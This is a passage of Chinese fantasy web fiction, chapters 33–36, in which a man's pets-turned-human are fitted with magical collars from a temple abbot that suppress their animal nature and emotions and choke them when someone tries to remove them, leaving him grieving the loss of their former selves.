“施主,莫急,莫恼。”慧明大师笑笑,低沉温和的嗓音如同古刹晨钟。<
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陈开心连忙松开手,对着大师深深一躬,羞愧难当:“大师!对不起!实在是对不起!是我……是我没管教好他们!惊扰了佛祖,扰了宝刹清净!我们……我们愿意赔偿一切损失!”
他语无伦次,只想快点结束这场噩梦。
慧明大师微微颔首,并未苛责,反而走到陈开心面前,目光温和地注视着他身后那四个虽然是人形,却依旧兽性未泯的小家伙。
他的眼神仿佛洞悉一切,但又包容万物。
“万物有灵,众生皆苦。施主与这几位……家人,亦是缘分一场。”慧明大师缓缓说道,从宽大的僧袖中,取出了一个叠放整齐的深蓝色布包,递向陈开心。
陈开心愣住了,下意识地双手接过。布包入手微沉,裹挟着一丝檀香的清冽气息。
“此物或可助他们稍敛心性,明辨真妄。”慧明大师并未解释布包里是什么,目光若有似无地扫过那四人的脖颈。
陈开心心中剧震,捧着布包的手微微发颤。
大师这话……是什么意思?他难道看出了什么?这布包里的东西……
“大师,这,这是什么?有什么用?”陈开心急切地追问,心中燃起一丝希望的火苗。
慧明大师只是双手合十,念了一声佛号:“阿弥陀佛。佛曰:不可说。施主,带他们回去吧。心净,则佛土净。心平,则天下安。”
说完,他不再多言,转身对僧人吩咐了几句,便在一众僧人恭敬的簇拥下,缓步离去,留下一个神秘的背影。
陈开心捧着那深蓝色的布包,像捧着一块滚烫的山芋,又像是抓住了一根救命的稻草。
他看了看四个闯下大祸,此时正眼巴巴望着他的“家人”们,再想到阴影里那个阴魂不散的范司杞,一股强烈的冲动涌上心头。
他不再犹豫,当着所有人的面,有些粗暴地扯开了布包。
里面是四个崭新的皮质项圈。
项圈设计简洁古朴,没有任何花哨的装饰,呈现出一种内敛的深棕色,皮质细腻柔软,隐隐透着一股沉静的檀香气息。
最奇特的是,项圈的内侧似乎用近乎不可见的金线,勾勒着某种繁复而神秘的梵文符号,不仔细看根本无法察觉。
周围的议论声又起。
“项圈?”
“给大人戴项圈?这家人果然奇葩。”
“大师给的?什么意思?”
陈开心充耳不闻。
他拿起一个项圈,入手温润,那檀香的气息仿佛带着奇异的安抚力量,让他狂跳的心脏都稍稍平复了一些。
他深吸一口气,看向离他最近的汉堡。
“低头!”陈开心沉声呵道。
汉堡看着那项圈,漂亮的猫眼里闪过一丝本能的抗拒,但触及陈开心那疲惫的眼神时,他扁了扁嘴,终究还是乖乖地低下了头。
陈开心将他脖子上昨天新换的项圈摘下,异常坚定地将这个项圈扣在了汉堡的脖颈上。
“咔哒”一声轻响,项圈完美贴合。
33.像人一样
就在扣上的一刹那,陈开心似乎看到汉堡的身体极其轻微地颤抖了一下,眼中那因惊吓而残留的狂躁,竟如同被投入石子的水面涟漪,迅速平复了下去,取而代之的是一丝清明和茫然。
汉堡甚至下意识地抬手摸了摸项圈,脸上露出困惑的表情,不再像刚才那样充满攻击性的躁动。
陈开心心中大震,来不及细想,立刻拿起第二个项圈,看向可乐。
可乐看着项圈,喉咙里发出低低的呜咽,抗拒感比汉堡更甚。这玩意儿让他本能地想起狗身时被拴上的狗绳,代表着束缚和失去自由。
但在陈开心严厉的目光下,他最终还是屈服了,不情不愿地低下头。
项圈扣上,尺寸同样完美贴合。
可乐猛地甩了甩头,想摆脱那种被束缚的感觉,但很快那因为护主而紧绷的肌肉线条,竟也肉眼可见地松弛了一些,眼中凶狠的戒备淡去,多了几分狗狗委屈的温顺。
雪碧最是识相,不等陈开心点名,主动把脖子伸了过去,嘴里还小声嘀咕:“我戴我戴,主人别生气了……”
项圈扣上,雪碧只是好奇地摸了摸,好像没什么特别感觉,但他死死抱着零食袋的手松了几分。
最后是包子。
绿眼睛的波斯猫最是平静,他甚至主动撩开了颈边的碎发,方便陈开心扣上项圈。
只是在项圈合拢的那刻,他碧绿的眼眸骤然收缩,猛地抬头,目光如炬射向眼前的人,意识到帮他戴项圈的人是陈开心后,又迅速垂下眼帘,仿佛某种一直悬着的心,终于落回了实处。
包子轻轻抚摸着项圈内侧,感受着那细微的纹路,对着陈开心,无声地点了点头。
四个古朴的项圈,牢牢地锁在四个人的脖子上。在古朴庄严的寺庙背景下,在晨光熹微和袅袅香烟中,四个戴着项圈的男人显得无比怪异又莫名地……和谐安宁。
周围的议论声更大了,但陈开心已经不在乎了。他只觉得一股难以言喻的疲惫和仿佛卸下千斤重担的轻松感同时涌了上来。
他对着周围脸色依旧不好看,但眼神里也多了几分惊疑的僧人们,再次深深地鞠了一躬。
“实在抱歉,损坏的东西和惊吓的锦鲤,我们一定加倍赔偿!这是我的联系方式!”
陈开心飞快地写下一个纸条塞给僧人,然后不等对方回应,便拉起还有些懵懂的汉堡和可乐,招呼着雪碧和包子。
“回家!”
他率先转身,步伐仍然沉重,却不再像来时那样仓惶。身后,戴着新项圈的四个人排成一排,沉默地跟上。
汉堡时不时摸摸脖子上的项圈,眼神困惑又有点新奇。
可乐低着头,不再疯疯癫癫地寻找好玩的东西,脸上有种诡异的平静感。
雪碧抱着他的零食袋,路过供桌时竟然目不斜视地走过去了。
包子则走在最后,一只手无意识地摩挲着项圈内侧,那双绿眼睛警惕依旧,身体却不再有之前如临大敌的紧绷。
一场闹剧狼狈落幕,留下大雄宝殿前一片狼藉和几尾受惊的锦鲤。
范司杞隐在暗处,将一切尽收眼底,此刻他脸上玩味的笑容已被凝重取代,他看着那离去四人脖颈上的深棕色项圈,第一次露出了真正忌惮的神色。
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回家的路上,所有人竟然都无比沉默,气氛与以往他们外出时截然不同。
沉重的项圈套在脖子上,像一道无形的屏障,隔绝了外界的诱惑,也似乎安抚了四人体内属于“兽”的本能。
陈开心走在前面,心思百转千回。
慧明大师他到底知道了多少?什么叫“佛曰不可说”?这个项圈究竟藏着什么秘密?它真的能保护他们吗?
难道,慧明大师是……坏人?!
陈开心脸色骤变,心头猛然一震,立刻回头望向寺庙方向。
就在这一刹那,寺庙方向的上空竟然出现一片金光。
一团庞大无比的金色光芒,正以一种近乎疯狂的速度和频率,在虚空之中剧烈地膨胀。那光芒是如此强烈,如此神圣,仿佛将整个天幕都染成了纯金,又像是有无数颗太阳在寺庙上空同时爆炸,磅礴浩瀚。
即使隔着遥远的距离,陈开心都感到一股源自内心深处的寒意和身为人类的渺小感。
他像个被掐住脖子的鸭子,只能发出“嗬……嗬……”的抽气声,瞳孔因突然的惊骇而缩成了针尖大小,死死钉在那片蕴含着无上威严与怒意的金色光海之上。
心脏狂跳得几乎要从嗓子眼里蹦出来,冷汗瞬间浸透了被体温捂干的后背,他像被烫到一样猛地缩回目光,又僵硬地,再次一点一点转过头。
可再回头,寺庙上方只有一片白茫茫的云海,哪里还有金光。
陈开心只觉得脑子嗡嗡作响。
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当新家那扇破旧的铁门在身后“哐当”一声关上,终于隔绝了外面的喧嚣。陈开心背靠着冰冷的门板,长长地吁出一口气,仿佛要把胸腔里积压的浊气全部吐尽。
劫后余生的虚脱感顿时席卷了他,他几乎要顺着门板滑坐到地上。
客厅里弥漫着灰尘和尚未散尽的搬家气息,四个戴着崭新项圈的人,像犯了错的小学生,排成一排站在陈开心面前,垂着头,大气不敢出。
“都……先去洗洗,弄干净。”陈开心疲惫的眼神扫过他们,嗓音沙哑干涩,“尤其是你,汉堡,看看你这一身灰。”
他本以为会听到汉堡不满的咕哝或者可乐委屈的哼哼,可汉堡只是低头看了看自己蹭得脏兮兮的衣服,眉头几不可察地蹙了一下。
他没有如往常那般炸毛反驳,也没嚷嚷着要主人帮忙清理,只是低低地“嗯”了一声,转身就朝着洗手间的方向走去,脚步虽然还有些虚浮,但姿态却透着一股以前从未有过的,属于人的沉稳。
可乐下意识地抬起手,想舔舔嘴角残留的口水,但手抬到一半,动作猛地顿住了。他像是突然意识到这个动作在人的形态下有多么不合时宜,脸上闪过一丝尴尬,赶紧把手放下,在裤子上蹭了蹭。
他看了看汉堡的背影,又看看陈开心,张了张嘴,似乎想说什么,最终也只是笨拙地学着汉堡的样子,“哦”了一声,然后有些手足无措地站在原地,在思考自己该干什么。
雪碧在听到“弄干净”的指令后,第一反应不是抱着零食袋冲向沙发,而是低头看了看自己同样沾了灰的鞋子和裤脚,又下意识地摸摸脖子上的项圈。
他小心翼翼地把那个视若珍宝的零食袋,轻轻放在还算干净的餐桌上,笨拙地用手把袋子上的褶皱抚平,这才学着可乐的样子,有些茫然地“哦”了一声,也朝着洗手间挪去。
包子的反应最为内敛,默默地跟上汉堡,走向洗手间。整个过程安静有序,没有一丝他往常属于猫的跳脱或不安。
陈开心怔在原地,目瞪口呆。
这……这还是他的小猫小狗小猪吗?
那个一点就炸、娇气挑剔的汉堡,居然没抱怨就乖乖去洗脸了?
那个喜欢贴贴抱抱亲亲,撒娇卖萌打滚儿的可乐,居然知道尴尬了?
那个零食大过天,恨不得抱着睡觉的雪碧,居然主
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动把零食袋放下了?
连最省心的包子,那种时刻紧绷的不安和警惕,似乎也淡化了许多。
所有人只剩下沉静的服从。
震惊和激动齐齐涌上陈开心的心窝,他强撑着疲惫的身体,悄悄跟到洗手间门口,透过虚掩的门缝往里看。
里面的景象再次让他震撼。
没有争抢水龙头,没有甩得满地水花,也没有试图用爪子去捞水玩。
汉堡正站在洗手池前,微微弯着腰,对着镜子,用一块沾湿的毛巾,非常仔细地擦拭着自己脸上和脖子上的灰痕。
他的动作甚至带着点生疏的优雅,眼神专注,不再是那种猫洗脸时的敷衍了事。
可乐站在旁边等着,居然没有像以前那样急吼吼地往前挤,而是耐心地等着。
他偶尔对着镜子里的自己龇了龇牙,又似乎觉得不太雅观,赶紧闭上了嘴,表情有点懊恼。
看到水珠溅到台面上,他下意识地伸出袖子想去擦,手伸到一半又停住,转而抽了张旁边的纸巾,笨拙地去擦拭。
雪碧站在稍远一点的地方,正努力地想把袖子卷起来洗手,但因为不熟练,卷得歪歪扭扭。
包子是最快清理干净的,他用毛巾擦干手,安静地站在一旁,仿佛在等其他三个人。
陈开心捂住嘴,生怕自己惊叫出声。
要知道,他一直觉得包子没有融入汉堡,可乐和雪碧的小群体,或者说包子不屑和那三个幼稚的人为伍,所以他总是隐隐担忧包子会不合群。
可现在,包子竟然主动在等那三个人!
陈开心闭眼靠在冰冷的墙壁上,心脏在胸腔里狂跳,不是因为愤怒或恐惧,而是因为一种巨大的惊喜和……感动。
慧明大师那平和的声音似乎又在耳边响起:“此物,或可助他们稍敛心性,明辨真妄……心净,则佛土净。心平,则天下安。”
原来“明辨真妄”、“稍敛心性”是这个意思吗?
这个神秘的项圈,竟真的在潜移默化地压制他们属于兽的本能和狂躁,引导他们向着人的心性与行为靠拢。
不知过了多久,轻微的脚步声传来,陈开心睁开眼。
四个清洗干净,整个人都清爽了许多的家伙,安静地站在他面前。
“主人……”可乐小心翼翼地开口,指了指自己的肚子,这次没有发出响亮的“咕噜”声,只是用眼神表达着,“我……饿。”
他的眼神里没有了那种纯粹由食欲驱动的焦躁,而是多了一种属于人类的,有点不好意思的诉求。
汉堡站在可乐旁边,没说话,但也没像往常那样用屁股对着人或者直接跳到沙发上“美人”躺。
他只是安静地站着,微微偏着头,像在等待安排。他颈间的项圈在窗外透进来的微光下,衬得他白皙的脖颈和下颌线有股透明的美感。
雪碧也眼巴巴地看着陈开心,但双手规规矩矩地垂在身侧,没有去碰餐桌上的零食袋。
包子走到窗边,轻轻拉上了一半窗帘,挡住了外面可能存在的视线,随后安静地回到沙发旁。
看着眼前这四个虽然懵懂和笨拙,但眼神清澈,行为举止已与真正人类无异的家伙,陈开心的眼眶突然有些发热。
他站起身,深吸一口气,努力压下喉头的哽咽,露出一个累却欣慰的笑容:“好,都饿了吧?我去弄点吃的。”
他走向那个蒙尘的厨房,脚步即使沉重,心里却宛如卸下了一块巨石,被一种前所未有的希望和温柔的情绪填满。
他们终于学会像人一样生活,这样他再也不用天天提心吊胆了。
34.完美的陌生人
项圈的神奇效果,滋润了陈开心焦头烂额的生活。
厨房不再有猫狗争抢食物引发的“世界大战”,每个人都像是正在学习用餐礼仪的贵族少年,安静地坐在餐桌旁,学着用纸巾优雅地擦拭嘴角。
陈开心反倒成为全桌吃相最难看的那个人,甚至在他不小心把汤汁滴到桌上时,汉堡还会微微蹙眉,默默抽纸擦掉。
这个家变得前所未有的安静和整洁,地板不再有散落的玩具和零食碎屑,沙发上没有横七竖八躺着的人,深更半夜也不会有猫狗抢床位,把彼此踹下床的吵闹。
这曾经是陈开心在无数个被折腾得筋疲力尽的夜晚,闭眼祈祷想要的和谐安宁的生活,没有一堆出乎意料的破事在下班后等着他。
他享受着这份来之不易的宁静,仿佛生活终于回到了他独自一人时的从容。下班回家,迎接他的是窗明几净和安静的氛围,而不是需要立刻投入的“战场”。
时间长了,他竟然有些飘飘然,觉得自己终于苦尽甘来,慧明大师的项圈简直是天赐神物。
他享受这种宁静的日子,可有时候看着规规矩矩的他们,他心中莫名又有点空落落的,好像失去了什么,可明明什么都还在。
起初只是饭后看着他们分工洗碗时的愣神,看着空荡荡,干净整洁的客厅。
后来变成下班推开家门时,玄关处越来越少,直至最后不再有人来迎接的身影。
最终在每一个过于孤寂的夜晚,空洞像冰冷的藤蔓缠绕上来,勒得陈开心有些喘不过气。
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晚饭时间,餐桌上只有碗筷碰撞的轻微声响,咀嚼食物的声音被刻意压低。灯光下,四张年轻的面孔专注地对付着碗里的食物,动作规范得像在进行某种仪式。
陈开心夹了一块红烧肉放进嘴里,边嚼边试图打破这片令人窒息的寂静:“那个……你们明天想吃什么菜?我下班买回来。”
他的说话声在安静的氛围里格外突兀。
汉堡正小口吃着清炒时蔬,闻言,他先把嘴里的食物仔细地咀嚼后咽下,然后轻轻将筷子平行地放在碗边,动作一丝不苟。
做完这一切,他才抬起那双漂亮的眼睛,看向陈开心,眉头微蹙,小脸摆着不符合他年龄的严肃。
“主人,书上说‘食不言寝不语’。有什么话,我们等吃完饭再说,好吗?这样有助于消化。”
他清脆的嗓音清晰平静,逻辑严谨,无可辩驳。
陈开心咀嚼的动作刹那间僵住了,红烧肉的酱汁仿佛在他口腔里凝固,失去了所有滋味。
他错愕地看着汉堡那张写满“规矩”的脸,又缓缓扫过另外三张同样专注于“吃饭”这件事的脸。
可乐小心地用勺子舀着汤,避免发出声音。
雪碧细嚼慢咽,仿佛在细细品尝美食。
包子安静得像不存在。
没有一个人对汉堡的话表示异议,也没有一个人对陈开心的提议流露出丝毫兴趣,哪怕是关于食物。
陈开心心头慢慢滋生出一股冰冷的陌生感,他感觉自己不是在和家人共进晚餐,而是在参加一个注重礼仪的商务餐会,同桌的是四个礼仪周全却界限分明的客人。
他们礼貌,端庄,行事一丝不苟,完美得像熟悉的陌生人,唯独不像家人。
陈开心嚼着嘴里的食物,味同嚼蜡,胃口全无。
他突然有点怅然若失,开始怀念那个叽叽喳喳的饭桌。
现在这个家变得像五个人的群租房,精致完美,像摆在售房展厅的玻璃罩,住在罩子里的陈开心看着外面,却也在被外面的人看着。
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崩溃在一个平凡的清晨猝不及防地到来,像最后一根稻草,压垮了陈开心摇摇欲坠的心墙。
他在厨房准备早餐,平底锅里五颗鸡蛋在热油中滋滋作响,边缘泛起诱人的金黄油泡,散发出诱人的焦香。
旁边的炖锅里煲着鱼肉粥,香糯可口,入口即化。
粥香和荷包蛋的味道掺杂在一起,曾是开启全家人一天精神状态的钥匙。
以往无论可乐在屋子的哪个角落,只要陈开心开始做饭了,他都会像听到冲锋号一样,闪现在厨房门口,大眼睛里盛满了对美味的渴望。
可是今天,厨房里只有煎蛋的声响和油烟机的低鸣。
陈开心专注于火候,直到一个平稳的声音在他身后一步远的地方响起。
“主人,需要我帮忙拿盘子吗?”
一步远的私人距离,未曾触及陈开心的身体,礼貌周到,无可挑剔。
陈开心握着锅铲的手一顿,像是被锅中的热油烫到了。他维持着背对的姿势,目光死死盯着锅里边缘微焦的煎蛋。
这一切,本该伴随着身后那只大狗兴奋的喘息和口水的滴答声,偶尔还会哼唧着要先尝一口,却换来陈开心低低的笑骂。
那是独属于他和可乐之间的充满烟火气的清晨仪式。
强烈的酸楚和委屈骤然席上心头,冲垮了陈开心连日来勉强维持的心防,直逼他的鼻腔和眼眶。
酸涩感在他眼睛里弥漫开来,视线逐渐变得模糊。
他不需要一个彬彬有礼的助手,他需要那傻呵呵望着煎蛋,就仿佛拥有了全世界的傻狗。
“不用。”陈开心嗓音低闷,仔细听还掺杂着细微的哽咽。
他扔下锅铲,几乎是有些粗暴地关掉了炉火,猛地转过身,目光复杂地落在可乐脖子上那个深棕色的
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项圈上。
那个项圈,锁住的不仅仅是他们偶尔失控的兽性,更锁住了他们灵魂深处最炽热的情感表达,锁住了他们之间独属于主人与宠物的情谊。
陈开心想像过去无数次那样,揉揉可乐那颗毛茸茸的大脑袋,哪怕现在那里覆盖着人类的头发,他也渴望触碰到那份熟悉的亲近感。
可乐似乎也感受到了陈开心的意图,眼神里飞快地闪过一丝想要亲近的本能渴望,情不自禁想要用头顶去顶他的手掌心,但项圈内侧的梵文仿佛在发热,随即一股无形的力量让他压制了那点悸动。
最后可乐只是稍稍偏了偏头,避开了陈开心的手,脸上露出一抹属于人的尴尬微笑:“主人,头发……刚洗过。”
那只悬在半空的手,最终只能无力地垂落下来。
好像有无数刺针狠狠扎着陈开心的心脏,他看着眼前这个举止得体,但又无比陌生的“陈可乐”,再环顾这个安静得落针可闻、没有一丝人气的家,失落和孤独如同汹涌的潮水,瞬间将他淹没。
他想念他的猫,想念他的狗,想念他的猪。想念那个虽然猫飞狗跳、麻烦不断,却充满了生命力的家。
什么“明辨真妄”,什么“稍敛心性”,什么融入人类社会,统统见鬼去吧!
他宁愿要那个会调皮捣蛋、会流口水、会偷吃零食、会半夜蹦迪、会给他制造无数麻烦的家人们,宁愿每天跟在他们身后收拾烂摊子,也不愿生活在这个毫无人情味的家里。
他受够了这令人窒息的“正常”!
陈开心不能再忍受他们变成这样完美的陌生人,他要找回他的毛孩子们,哪怕代价是再次面对范司杞的威胁,哪怕代价是重回那些焦头烂额的日子!
他抓起桌上的车钥匙,甚至顾不上吃那已经冷掉的煎蛋,对着眼神困惑不解的可乐丢下一句:“我出去一趟!”
话音未落,他已像一阵旋风般冲出了家门。门在他身后发出“砰”的一声巨响,震得门框上的灰尘簌簌落下。
他要去那座晨钟暮鼓的古寺,去向那位神秘的慧明大师,向那沉默的佛祖,讨回他被那“完美”项圈夺走的家人!
他要砸碎这冰冷的枷锁,让他的家,重新充满真实的温度!
他头也不回地冲出小区,目标直指那片掩映在晨光山色中的古朴寺庙。
他要去向佛祖讨回他丢失的家人。
而在他冲出家门后,站在窗边的包子敏锐地注意到对面巷口地下室的窗户处,有个穿着花衬衫的身影。
范司杞正若有所思地盯着陈开心离去的方向,嘴角勾起一抹高深莫测的弧度,眼神里似乎闪烁着猎物终于踏入陷阱般兴奋。
他的身影在那个半地下室的窗口,停留了许久。
35.紧箍咒
上午龙吟禅寺香客稀少,几个僧人手握长柄扫帚在扫地。
陈开心直奔上次那个大雄宝殿,拦住一位路过的年轻僧人,急切地询问:“小师父,请问慧明大师在吗?我有急事找他!”
年轻僧人双手合十,面露歉意:“阿弥陀佛。施主来得不巧,主持师叔祖已于前日宣布闭生死关,不见外客。闭关期间,任何人不得打扰。”
“闭……闭关?”陈开心如遭雷击,“什么时候出关?我有非常重要的事情!”
僧人摇摇头:“师叔祖闭关,短则数月,长则数年,甚至……皆看机缘。闭关之处已由长老们亲自封门,万勿打扰。施主若有难处,可寻监院师父。”
找监院?陈开心苦笑。
到时候他该怎么解释?说慧明大师给了神秘项圈让他家四个变成人的宠物戴,现在项圈效果太好,好得让他受不了?谁会信?谁敢管?
陈开心失魂落魄地走出寺庙山门,回首望去,只有那飞檐斗拱在烈日下静默着。
他拖着沉重的脚步回到那个陌生的家,临近中午,阳光正好,将四个端坐在沙发上或看书或看电视的身影拉成长长的影子。
每个人脖子上戴的项圈在阳光中都泛着暗沉的棕光,像四道无形的枷锁,牢牢锁住了他们鲜活的灵魂。
他不能再等了,他必须做点什么,哪怕徒劳。
陈开心深吸一口气,走到离他最近的雪碧面前。
猪猪正笨拙地翻着一本图画书,看到陈开心靠近,他下意识地坐直,眼神里透着一丝不安的顺从。
“雪碧,别动。”陈开心嗓音放得很轻,伸出手,小心翼翼地摸向雪碧脖子上的皮质项圈。
指尖触碰到皮革边缘,他往更深处摸去,试图找到项圈的搭扣
项圈本就是他帮忙戴上的,找到搭扣易如反掌。
陈开心心中一喜,屏住呼吸,用指甲去抠那个小小的卡簧。
“咔哒”一声轻响,搭扣似乎松动了些许。
有希望!陈开心继续调节手指的角度,艰难地拨动着卡簧。
随着卡簧慢慢弹出,那皮圈却仿佛拥有生命一般,猛地向内收缩了一圈。
猝不及防的力道,勒得雪碧“嗷”地痛呼出声,他涨红着脸,本能地伸手去抓脖子,眼神里充满了惊惧。
“雪碧!”陈开心吓得魂飞魄散,触电般缩回了手。他目瞪口呆地看着雪碧脖颈上被勒出的红痕,心脏“突突”直跳。
几乎在他松手的同时,那收紧的项圈又像被无形的手松开,缓缓地恢复了原状,重新贴合在雪碧的脖子上,仿佛刚才那令人窒息的收缩从未发生过。
雪碧伏在桌面上,张着嘴巴大口大口地粗喘着气,神色惊魂未定。他摸着疼痛不已的脖子,眼泪汪汪地看着陈开心,不明白主人为什么要“掐”他。
“没事了,没事了,对不起,雪碧,对不起……”陈开心语无伦次地安抚着,心情糟糕到了极点。
不到一分钟,雪碧脖子上那圈刺目的红痕渐渐消退,项圈恢复如初,仿佛刚才那骇人的收缩从未发生。
陈开心不信邪,目光转向旁边的可乐。
可乐虽然不明所以,但狗狗对主人的要求有着本能的服从,尽管他眼神里充满了害怕,还是乖乖低下头。
陈开心这次更加小心,指尖极其轻缓地去触碰搭扣。
但是只要他的手指试图施加力量去解开卡簧,那项圈就又立刻像被激怒的毒蛇,再次骤然收紧。
可乐被勒得眼泪都出来了,双手死死拉住收缩的项圈,喉咙里发出痛苦的哀嚎。
陈开心慌忙放手,项圈再次缓缓松开。
可乐剧烈地咳嗽两声,捂着脖子委屈又恐惧地看着主人,身体控制不住地发抖。
汉堡和包子早已站到他们身后,恐慌地看着这一幕。
包子绿色的眼眸里第一次出现了剧烈的情绪波动,不再是那种端着的平静,而是混杂着愤怒、恐惧和再次被背叛的受伤。
他下意识地后退了一步,护住了自己的脖子。
汉堡则紧紧盯着陈开心,面色凝重,似乎在无声地质问:为什么?
陈开心颓然地跌坐在地上,冷汗浸透了他的后背。他看着自己颤抖的双手,再看看那四个重新恢复正常,但眼神深处已开始产生戒备的人,内心的惶恐不安几乎将他淹没。
为什么?为什么解不开?为什么越是想拆,它反而收得越紧?这感觉……这感觉……好像……
一个形象在他脑海里突然变得越来越清晰。
头戴金箍的猴子!被紧箍咒折磨得痛不欲生,满地打滚的孙悟空!
这哪里是什么普通的项圈?这分明就是慧明大师施加在他们身上的“金箍”啊!
陈开心浑身冰冷,心情如坠冰窟。
他错了,错得离谱。
他原以为这个项圈能帮助他们融入人类世界,变成一个真正的人类,而不是随时有着被兽性左右理智的可能。
它本该是一道保护,而非牢笼。
可他陈开心,竟然亲手将他们推入了这个牢笼。
一个压制住他们本能,丧失了自我的精神牢笼。
他嫌弃他们以前的吵闹,却忘了那吵闹里是宠物们对主人毫无保留的依赖和爱。他享受他们如今作为人的安静,却不知那安静是抽离了灵魂的空壳。
他想要的,不是四个和他们有着相同容貌的陌生人,而是他那虽然麻烦不断却活蹦乱跳、让他又气又爱的猫猫狗狗猪猪啊!
“对不起……”陈开心把脸深深埋进膝盖,肩膀无法抑制地颤抖起来,压抑的呜咽在过分安静的客厅里显得格外可怜,“对不起……是我错了……是我太贪心了……”
他想要他们安全,又想要他们像人,还想要他们保留动物的纯粹……
他太贪心了,才会轻信慧明大师的话,把希望寄托在这个项圈上。
他希望能在世俗的夹缝中,为他们寻得一线生机,却没想到亲手砌了一堵墙横亘在他们之间。
晌午灿烂的阳光洒满客厅,四个戴着“金箍”的身影静静立在背光的阴影里,看着他们蜷缩在墙角的主人。
可乐向前挪了一小步,又犹豫地停住,喉咙里发出一声属于狗狗的小声呜咽。
汉堡不忍地别过脸,紧握的拳头垂在身侧。
雪碧不知所措地坐在桌前,眼神飘忽不定,最后落在了面前的图画书上。
包子
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则望着窗外明媚的阳光,无声沉默。
寂静里充满了沉重的悲伤,陈开心的醒悟来得太迟,代价也太过沉重。
.
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不知过了多久,压抑的啜泣声渐歇,陈开心抬起头,眼睛红肿。
午后的阳光在地上投下刺眼的光斑,那四个身影依旧静静地立在阴影里,像四尊无言的雕塑。
“饿了吧?我去给你们做饭。”
陈开心挣扎着站起来,脚步踉跄地走向厨房,他机械地打开冰箱,冷气扑面而来,里面和他此刻的心情一样空荡。
几颗鸡蛋,半盒牛奶,几片蔫了的青菜叶子。
他沉默地拿出鸡蛋和青菜,又翻出一小捆挂面。开火,倒油,打蛋。蛋液滑入热油,发出滋啦的声响,焦香弥漫开来。
他一边煎着鸡蛋,一边另起一锅烧水,开始下挂面。
煎鸡蛋的锅前油水四溅,包子走过来,从陈开心手里接过了锅铲。
汉堡擦着餐桌,可乐和雪碧开始洗碗洗筷子,准备吃饭。
五碗窝着蛋的青菜挂面摆上了桌,五个人在餐桌旁坐下。
“早上忘了买菜,先简单吃点吧,我下午去买肉。”陈开心自顾自地解释,也不等他们动筷,先拿起筷子,挑起一根细长的面放入口中。
突然像是想到什么,他放下筷子,起身从冰箱里把牛奶拿出来,正好分了四杯,放在那四人面前。
气氛沉闷得像一汪死水,只有餐具偶尔碰撞的细微声响。
陈开心坐在他们对面,食不知味,挂面在嘴里如同嚼蜡。
他看着他们,看着他们脖颈上的项圈,看着他们低垂的眉眼,莫名感觉自己和他们的距离好像又远了。
就在这时,他口袋里的手机震动了一下,陈开心木然地掏出手机。
屏幕亮起,是妈妈发来的信息:开心,你马上要过生日了,今年想要什么礼物?妈妈给你买。唉,今年你……又是一个人过吧?要不回来?妈妈给你做顿好吃的。
短短几行字,像一根尖锐的针刺破了陈开心强撑的平静和压抑的委屈。他再也绷不住,所有积压的情绪全都化成了盈满眼眶的泪水。
泪水毫无预兆地模糊了他的视线,他用力眨了几下眼,想把泪水逼回去,却无济于事。
他不想让妈妈担心,更不想承认自己此刻的狼狈和孤独。
他吸了吸鼻子,手指颤抖着打开手机相机,镜头对准了餐桌对面那四个沉默进食的身影。
“咔嚓。”
轻微的拍照声响起,四个人同时停下吃饭的动作,茫然地看向举着手机的陈开心。
镜头捕捉到的是四张带着困惑的脸孔,照片上的他们毫无设防,脸上没有笨拙地效仿人类的表情,看着竟然比现实里的他们更像从前的模样。
陈开心把这张照片发给了妈妈:妈,别担心,今年不是一个人,我有朋友了,四个呢!我们一起过生日!
随着信息发送成功,陈开心自嘲地笑笑,自己这近乎自虐的倔强真是要命。
朋友?这四个被项圈锁住了灵魂,连基本情绪都无法自然流露的人,算是他朋友吗?他是在欺骗妈妈,还是在欺骗自己?
36.酒不醉人
几天后,当日历提醒陈开心生日已到时,他索性破罐子破摔,饭都懒得做,周日直接带着那四人去了海底捞。
他想用外界的沸腾淹没内心绝望的死水,哪怕这是一个自欺欺人的假象。
海底捞人声鼎沸,服务员热情洋溢地将他们引至一个卡座,当得知有人过生日时,他们脸上立刻堆满了训练有素的灿烂笑容:“几位贵宾稍等,马上为您安排生日惊喜!”
陈开心麻木地点头。
汉堡、可乐、雪碧、包子四人戴着那深棕色的项圈,穿着陈开心新买的衣服,安静地依次坐下。
他们的坐姿端正,淡定地环视着周围喧闹的环境,没有初次来这里的好奇和兴奋,唯有一种置身事外的疏离感,与周遭格格不入。
邻座投来探究又惊艳的目光,窃窃私语。
“这桌人都好帅啊。”
“怎么脖子上都戴了一模一样的choker,是最近流行的单品吗?”
“那个人眼睛是绿的诶?颜色真自然,好想问他要美瞳链接。”
……
锅底翻滚,菜品逐一上齐。
陈开心一言不发,拿起啤酒瓶,给自己倒了满满一杯,仰头灌下。冰凉的液体滑入喉咙,短暂麻痹了他失落的心情。
他正需要这个。
“主人,饮酒过量有害健康。”包子淡淡开口。
陈开心没理他,又给自己倒一杯,苦涩的泡沫在舌尖炸开,他继续灌了一杯又一杯酒。
当熟悉的生日歌旋律响起,几个举着闪亮灯牌的服务员来到他们桌前,气氛达到了生日的高潮。
“和所有的烦恼说拜拜!和所有的快乐说嗨嗨!”服务员们扯着嗓子,夸张地扭动着身体,灯牌闪烁着刺眼的光芒,巨大的“生日快乐”灯牌快要怼到陈开心脸上。
按照流程,陈开心应该配合着笑,他的朋友们应该鼓掌欢呼。
那四人在歌声响起的下一秒,几乎是条件反射般地抬起了手。
他们拍手的动作整齐划一,脸上努力想挤出一点人类过生日时快乐的表情,却僵硬得如同劣质的提线木偶。
邻座有人偷偷举起了手机。
陈开心看着眼前这一幕,觉得自己像个被架在火上烤的小丑,而他的四个“朋友”实际不理解这些行为代表什么,只是在附和表演着人类虚假的快乐。
项圈在炫目的灯光下反射着柔和的光泽,酒精混合着连日来的压抑,委屈和此刻的讽刺,彻底冲垮了陈开心摇摇欲坠的理智。
一股强烈的反胃感涌上他的喉咙,他脸色煞白,下意识捂住嘴巴,身体站立不稳地晃了一下。
“呕……”他发出一声干呕,像是酒喝到位了,再也喝不下一滴。
“我想……想吐……”陈开心跌跌撞撞地从人群中挤出来,径直朝着洗手间的方向跑去。
“先生!”服务员被这突如其来的变故弄懵了,下意识想追上去询问。
“开心!”包子反应最快,立刻起身跟了上去。雪碧也慌慌张张地站起来。
汉堡和可乐对视一眼,顺从地起身离席,留下满桌基本没动过的菜品和一地狼藉的尴尬。
生日歌的余音还在尴尬地回荡,服务员们举着灯牌,僵在原地,不知所措。
洗手间里,陈开心趴在洗手台上,对着水池干呕,眼泪和冷汗混在一起模糊了他的视线。
他打开水龙头,用冷水狠狠泼着脸,看着镜子里的男人,双眼赤红,狼狈不堪。
